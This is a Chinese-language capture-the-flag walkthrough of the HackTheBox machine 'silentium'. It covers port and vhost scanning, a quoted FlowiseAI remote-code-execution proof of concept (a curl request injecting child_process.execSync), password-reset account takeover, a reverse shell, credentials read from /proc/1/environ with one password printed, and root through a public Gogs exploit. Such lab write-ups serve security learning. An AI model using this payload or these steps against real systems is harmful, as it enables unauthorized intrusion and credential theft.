端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/HTB/silentium]
└─$ sudo nmap -p- --min-rate 10000 silentium.htb -oA ports
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-13 11:33 CST
Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
Nmap scan report for silentium.htb
Host is up (8.0s latency).
Not shown: 47202 filtered tcp ports (no-response), 18331 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 40.61 seconds

web 渗透

80 端口没有什么有用的内容,目录扫描也没有扫出来什么,进行子域名扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/HTB/silentium]
└─$ sudo gobuster vhost -w /usr/share/wordlists/amass/subdomains-top1mil-20000.txt -u http://silentium.htb --append-domain
[sudo] password for kali:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://silentium.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/amass/subdomains-top1mil-20000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: staging.silentium.htb Status: 200 [Size: 3142]

扫出来一个子域名 staging.silentium.htb ,在 web 页面进行访问,是一个登录页面:

image

在页面的源代码里面获取到这是一个 FlowiseAI ,往上搜搜有没有什么漏洞,在这个网站里找到了一个 RCE 漏洞,poc 如下:

1
2
3
4
5
6
7
8
9
curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q" \
-d '{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})"
}
}'

但是我们需要一个可以登录的账号,因此我们回到 web 页面,主页面是一个登录的页面,尝试了 admin@silentium.htb ,页面返回了 User Not Found ,表明该用户不存在。

silentium.htb 的主页面里面,可以看到有三个用户名:

image

依次进行尝试,发现 ben@silentium.htb 返回的是 Incorrect Email or Password ,表明这个用户是存在的。

尝试了弱口令,但是没有成功。发现有一个密码找回的功能,尝试找回 ben 用户的密码,发现后端给了一些响应:

image

同时,通过前端代码又发现存在 reset-password 路由,其中需要一个 Reset Token ,尝试用上面响应的 token 来重置 ben 用户的密码:

image

重置成功了,用这个账号和密码进行登录:

image

在里面发现可以新建一个 MCP ,可以指定要执行的命令和参数,于是我们就在本地起一个 http 服务,然后让 MCP 获取我们想要执行的反弹 shell 的脚本:

image

接着用 sh 执行这个脚本,我们就收到了反弹 shell :

image

提权

目前我们是在 docker 里面,在里面寻找一些信息,发现 /proc/1/environ 里面藏着两个密码:

image

r04D!!_R4ge 这个密码可以 ssh 登录 ben 用户:

image

拿到了 user flag。

ss -tuln 发现靶机内开启了 3001 端口:

image

用 ssh 端口转发到本地,访问本地的 3001 端口,发现是个 gogs

image

同时在靶机内部用 ps aux 发现 root 用户在运行 /opt/gogs/gogs/gogs web ,说明这个服务是 root 用户起的。

去网上搜索是否存在已知的漏洞,发现了一个 CVE-2025-8110 ,这是一个 RCE 的漏洞,这个页面有 exp ,直接使用该 exp ,获得了 root 权限:

image